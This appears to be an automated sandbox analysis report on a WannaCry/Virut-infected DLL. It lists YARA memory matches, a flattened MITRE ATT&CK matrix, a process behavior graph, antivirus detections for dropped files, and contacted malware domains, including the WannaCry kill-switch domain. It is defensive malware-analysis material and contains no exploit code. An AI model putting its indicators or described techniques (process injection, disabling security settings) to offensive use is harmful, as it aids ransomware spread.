              Source: Yara matchFile source: 00000020.00000002.810599121.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000017.00000000.334855799.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000002.810466261.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000002.810721934.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000014.00000000.324263064.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.810527739.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000000.342963544.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000000.539247189.000000007FFF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000002.810480693.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000017.00000002.810566391.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000000.349706676.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000014.00000002.810463984.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001E.00000000.390180862.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000000.342872546.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000000.342871140.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000022.00000000.415154711.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 6252, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 6292, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 6372, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: winlogon.exe PID: 556, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: lsass.exe PID: 600, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 6664, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: fontdrvhost.exe PID: 684, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 704, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 756, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 804, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 856, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: fontdrvhost.exe PID: 900, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: dwm.exe PID: 964, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 280, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 328, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 384, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 848, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1080, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1092, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1156, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1264, type: MEMORYSTR

              Remote Access Functionality

              barindex
              Yara detected Virut
              Source: Yara matchFile source: 16.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000019.00000000.346833993.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000000.349657832.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000000.297048245.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000000.306825329.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000021.00000000.411578553.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000020.00000000.402686306.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000000.400526371.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000000.309780415.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001D.00000000.386641946.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000000.343018795.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000000.346816136.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000000.306808092.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.810424009.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000014.00000000.322271007.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000028.00000000.429886931.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.810637032.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.557785297.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000002.810772522.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000022.00000002.810637901.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000000.309797801.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000000.349997969.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000000.323169252.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000000.537571247.000000007FFF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000000.310428010.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000014.00000000.324242609.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000002.810392224.000000007FFF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000014.00000002.810643993.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000002.810466263.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000017.00000002.810464122.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000000.348006213.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000000.304104475.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000002.810769122.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000000.347977400.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000026.00000002.810462526.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.810419995.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000002.810783173.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000021.00000002.810557775.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000002.810556890.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000000.350022847.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001E.00000002.810557664.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000000.326240016.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000017.00000000.336396573.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.386870817.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000017.00000000.336462148.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000000.326432451.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000028.00000002.810637970.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000002.810720445.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.810391674.000000007FFF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000002.810464868.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000000.323178260.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000026.00000000.418114506.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001D.00000002.810556507.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000000.324133707.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000002.810644718.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000020.00000002.810599121.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000017.00000000.334855799.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000002.810466261.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000002.810721934.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000014.00000000.324263064.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.810527739.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000000.342963544.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000000.539247189.000000007FFF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000002.810480693.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000017.00000002.810566391.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000000.349706676.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000014.00000002.810463984.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001E.00000000.390180862.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000000.342872546.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000000.342871140.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000022.00000000.415154711.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 6252, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 6292, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 6372, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: winlogon.exe PID: 556, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: lsass.exe PID: 600, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 6664, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: fontdrvhost.exe PID: 684, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 704, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 756, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 804, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 856, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: fontdrvhost.exe PID: 900, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: dwm.exe PID: 964, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 280, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 328, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 384, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 848, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1080, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1092, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1156, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1264, type: MEMORYSTR

              Mitre Att&ck Matrix

              Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
              Valid Accounts1
              Windows Management Instrumentation              		2
              Windows Service              		2
              Windows Service              		12
              Masquerading              		1
              Input Capture              		11
              System Time Discovery              		Remote Services1
              Input Capture              		Exfiltration Over Other Network Medium2
              Encrypted Channel              		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
              Data Encrypted for Impact
              Default Accounts2
              Service Execution              		1
              DLL Side-Loading              		312
              Process Injection              		1
              Disable or Modify Tools              		LSASS Memory361
              Security Software Discovery              		Remote Desktop Protocol1
              Archive Collected Data              		Exfiltration Over Bluetooth12
              Ingress Tool Transfer              		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
              Domain Accounts12
              Native API              		Logon Script (Windows)1
              DLL Side-Loading              		131
              Virtualization/Sandbox Evasion              		Security Account Manager131
              Virtualization/Sandbox Evasion              		SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration2
              Non-Application Layer Protocol              		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
              Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)312
              Process Injection              		NTDS3
              Process Discovery              		Distributed Component Object ModelInput CaptureScheduled Transfer2
              Application Layer Protocol              		SIM Card SwapCarrier Billing Fraud
              Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
              Obfuscated Files or Information              		LSA Secrets1
              Remote System Discovery              		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
              Replication Through Removable MediaLaunchdRc.commonRc.common1
              Rundll32              		Cached Domain Credentials123
              System Information Discovery              		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
              External Remote ServicesScheduled TaskStartup ItemsStartup Items1
              Software Packing              		DCSyncNetwork SniffingWindows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
              Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job1
              DLL Side-Loading              		Proc FilesystemNetwork Service ScanningShared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 670833 Sample: 7Qu8thR7WW Startdate: 21/07/2022 Architecture: WINDOWS Score: 100 65 zxiljl.com 2->65 67 xzxehm.com 2->67 69 18 other IPs or domains 2->69 77 Tries to download HTTP data from a sinkholed server 2->77 79 Snort IDS alert for network traffic 2->79 81 Multi AV Scanner detection for domain / URL 2->81 85 8 other signatures 2->85 11 loaddll32.exe 1 2->11         started        13 mssecsvc.exe 2->13         started        16 svchost.exe 2->16         started        18 6 other processes 2->18 signatures3 83 Tries to resolve many domain names, but no domain seems valid 67->83 process4 dnsIp5 21 cmd.exe 1 11->21         started        23 rundll32.exe 11->23         started        26 rundll32.exe 1 11->26         started        105 Maps a DLL or memory area into another process 13->105 29 dwm.exe 13->29 injected 107 Changes security center settings (notifications, updates, antivirus, firewall) 16->107 71 127.0.0.1 unknown unknown 18->71 109 Query firmware table information (likely to detect VMs) 18->109 signatures6 process7 file8 31 rundll32.exe 21->31         started        91 Drops executables to the windows directory (C:\Windows) and starts them 23->91 33 mssecsvc.exe 7 23->33         started        61 C:\Windows\mssecsvc.exe, PE32 26->61 dropped signatures9 process10 dnsIp11 38 mssecsvc.exe 7 31->38         started        63 www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 104.17.244.81, 49743, 49847, 80 CLOUDFLARENETUS United States 33->63 59 C:\Windows\tasksche.exe, PE32 33->59 dropped 87 Drops executables to the windows directory (C:\Windows) and starts them 33->87 42 tasksche.exe 33->42         started        file12 89 Tries to resolve many domain names, but no domain seems valid 63->89 signatures13 process14 dnsIp15 73 www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com 38->73 93 Antivirus detection for dropped file 38->93 95 Machine Learning detection for dropped file 38->95 97 Changes memory attributes in foreign processes to executable or writable 38->97 103 4 other signatures 38->103 44 svchost.exe 38->44 injected 46 svchost.exe 38->46         started        49 svchost.exe 8 38->49         started        51 15 other processes 38->51 99 Detected Wannacry Ransomware 42->99 101 Multi AV Scanner detection for dropped file 42->101 signatures16 process17 dnsIp18 53 taskhostw.exe 44->53         started        55 UsoClient.exe 44->55         started        57 UpdateNotificationMgr.exe 44->57         started        75 192.168.2.1 unknown unknown 46->75 process19

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              7Qu8thR7WW.dll81%VirustotalBrowse
              7Qu8thR7WW.dll71%MetadefenderBrowse
              7Qu8thR7WW.dll88%ReversingLabsWin32.Ransomware.WannaCry
              7Qu8thR7WW.dll100%AviraW32/Virut.Gen
              7Qu8thR7WW.dll100%Joe Sandbox ML

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\Windows\tasksche.exe100%AviraTR/AD.WannaCry.sewvt
              C:\Windows\mssecsvc.exe100%AviraW32/Virut.Gen
              C:\Windows\tasksche.exe100%Joe Sandbox ML
              C:\Windows\mssecsvc.exe100%Joe Sandbox ML
              C:\Windows\tasksche.exe89%MetadefenderBrowse
              C:\Windows\tasksche.exe98%ReversingLabsWin32.Ransomware.WannaCry

              Unpacked PE Files

              SourceDetectionScannerLabelLinkDownload
              4.0.mssecsvc.exe.400000.6.unpack100%AviraW32/Virut.GenDownload File
              4.2.mssecsvc.exe.7100a4.1.unpack100%AviraTR/AD.WannaCry.sewvtDownload File
              28.0.tasksche.exe.400000.0.unpack100%AviraTR/AD.WannaCry.sewvtDownload File
              4.2.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              16.0.mssecsvc.exe.7100a4.1.unpack100%AviraTR/AD.WannaCry.sewvtDownload File
              4.0.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              28.2.tasksche.exe.400000.0.unpack100%AviraTR/AD.WannaCry.sewvtDownload File
              4.0.mssecsvc.exe.400000.2.unpack100%AviraW32/Virut.GenDownload File
              16.2.mssecsvc.exe.7100a4.1.unpack100%AviraTR/AD.WannaCry.sewvtDownload File
              8.0.mssecsvc.exe.7100a4.1.unpack100%AviraTR/AD.WannaCry.sewvtDownload File
              4.0.mssecsvc.exe.400000.4.unpack100%AviraW32/Virut.GenDownload File
              8.2.mssecsvc.exe.7100a4.1.unpack100%AviraTR/AD.WannaCry.sewvtDownload File
              4.0.mssecsvc.exe.7100a4.5.unpack100%AviraTR/AD.WannaCry.sewvtDownload File
              8.0.mssecsvc.exe.400000.2.unpack100%AviraW32/Virut.GenDownload File
              8.2.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              4.0.mssecsvc.exe.7100a4.7.unpack100%AviraTR/AD.WannaCry.sewvtDownload File
              16.0.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              4.0.mssecsvc.exe.7100a4.1.unpack100%AviraTR/AD.WannaCry.sewvtDownload File
              8.0.mssecsvc.exe.7100a4.3.unpack100%AviraTR/AD.WannaCry.sewvtDownload File
              8.0.mssecsvc.exe.7100a4.7.unpack100%AviraTR/AD.WannaCry.sewvtDownload File
              8.0.mssecsvc.exe.7100a4.5.unpack100%AviraTR/AD.WannaCry.sewvtDownload File
              8.0.mssecsvc.exe.400000.4.unpack100%AviraW32/Virut.GenDownload File
              8.0.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              4.0.mssecsvc.exe.7100a4.3.unpack100%AviraTR/AD.WannaCry.sewvtDownload File
              16.2.mssecsvc.exe.400000.0.unpack100%AviraW32/Virut.GenDownload File
              8.0.mssecsvc.exe.400000.6.unpack100%AviraW32/Virut.GenDownload File

              Domains

              SourceDetectionScannerLabelLink
              www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com12%VirustotalBrowse

              URLs

              SourceDetectionScannerLabelLink
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/100%URL Reputationmalware
              http://schemas.mic0%URL Reputationsafe
              http://crl.ver)0%Avira URL Cloudsafe
              https://%s.xboxlive.com0%URL Reputationsafe
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com100%URL Reputationmalware
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com//100%Avira URL Cloudmalware
              https://dynamic.t0%URL Reputationsafe
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comY0%Avira URL Cloudsafe
              https://www.kryptoslogic.com0%URL Reputationsafe
              http://Passport.NET/tb0%Avira URL Cloudsafe
              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comJ0%URL Reputationsafe
              https://%s.dnet.xboxlive.com0%URL Reputationsafe

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
              		104.17.244.81
              		truetrueunknown
              hrjgek.com
              		unknown
              		unknowntrue
                		unknown
                uolirh.com
                		unknown
                		unknowntrue
                  		unknown
                  awnbiv.com
                  		unknown
                  		unknowntrue
                    		unknown
                    ddqbaw.com
                    		unknown
                    		unknowntrue
                      		unknown
                      ljweip.com
                      		unknown
                      		unknowntrue
                        		unknown
                        khzysn.com
                        		unknown
                        		unknowntrue
                          		unknown
                          zxiljl.com
                          		unknown
                          		unknowntrue
                            		unknown
                            utdtjh.com
                            		unknown
                            		unknowntrue
                              		unknown
                              sojasb.com
                              		unknown
                              		unknowntrue
                                		unknown
                                ijaiay.com
                                		unknown
                                		unknowntrue
                                  		unknown
                                  paqrpk.com
                                  		unknown
                                  		unknowntrue
                                    		unknown
                                    vjufit.com
                                    		unknown
                                    		unknowntrue
                                      		unknown
                                      wyypfa.com
                                      		unknown
                                      		unknowntrue
                                        		unknown
                                        aojlek.com
                                        		unknown
                                        		unknowntrue
                                          		unknown
                                          kafoyb.com
                                          		unknown
                                          		unknowntrue
                                            		unknown
                                            edhqjy.com
                                            		unknown
                                            		unknowntrue
                                              		unknown
                                              xyyezb.com
                                              		unknown
                                              		unknowntrue
                                                		unknown
                                                qeuury.com
                                                		unknown
                                                		unknowntrue
                                                  		unknown
                                                  tijgox.com
                                                  		unknown
                                                  		unknowntrue
                                                    		unknown
                                                    xzxehm.com
                                                    		unknown
                                                    		unknowntrue
                                                      		unknown

                                                      Contacted URLs

                                                      NameMaliciousAntivirus DetectionReputation
                                                      http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/true
                                                      • URL Reputation: malware
                                                      		unknown

                                                      URLs from Memory and Binaries

                                                      NameSourceMaliciousAntivirus DetectionReputation
                                                      https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashxsvchost.exe, 0000000C.00000003.322038559.000002174D060000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        http://schemas.micsvchost.exe, 00000020.00000002.834251015.0000029A97A9F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.408890394.0000029A97A9F000.00000004.00000001.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        https://candycrush.king.com/mobile/windows/TileTemplate.xmlsvchost.exe, 00000015.00000002.828710836.000001BC27C69000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.330169231.000001BC27C69000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.328043656.000001BC27C69000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=svchost.exe, 0000000C.00000003.322222433.000002174D045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.322196987.000002174D040000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://dev.ditu.live.com/REST/v1/Routes/svchost.exe, 0000000C.00000002.322590099.000002174D03D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://dev.virtualearth.net/REST/v1/Routes/Drivingsvchost.exe, 0000000C.00000003.322038559.000002174D060000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashxsvchost.exe, 0000000C.00000002.322590099.000002174D03D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://t0.tiles.ditu.live.com/tiles/gensvchost.exe, 0000000C.00000003.322087627.000002174D047000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.322650603.000002174D04E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://dev.virtualearth.net/REST/v1/Routes/svchost.exe, 0000000C.00000002.322590099.000002174D03D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=svchost.exe, 0000000C.00000003.322222433.000002174D045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.322196987.000002174D040000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        https://dev.virtualearth.net/REST/v1/Routes/Walkingsvchost.exe, 0000000C.00000003.322038559.000002174D060000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          http://crl.ver)svchost.exe, 00000016.00000002.676524769.0000017691088000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000027.00000002.820464912.000001B0474DE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          • Avira URL Cloud: safe
                                                                          		low
